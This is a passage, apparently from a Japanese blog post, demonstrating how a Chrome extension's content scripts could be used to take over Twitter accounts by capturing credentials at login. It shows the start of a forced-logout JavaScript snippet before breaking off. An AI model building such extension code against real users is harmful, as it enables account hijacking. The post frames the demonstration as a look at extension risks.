はじめに 前にChrome拡張のマルウェア疑惑で話題になっていたので、今更ですが、その危険性を試してみました。 悪用はしないでください。 Chrome拡張を用いたTwitterアカウントの奪取 身近なTwitterアカウントの奪取を試します。 詳細は書きませんがmanifest.jsonのcontent_scriptsを使います。 アカウントを取る方法は、対象ユーザがログインした瞬間を狙います。 ですが、すでにログインしている可能性が高いので下記のようなコードで強制ログアウトさせます。 /** * twitterを強制ログアウト */ function logout() { var signout_btn = document.querySelector('#signout-button .dropdown-link') if(signout_btn) signout_btn.click(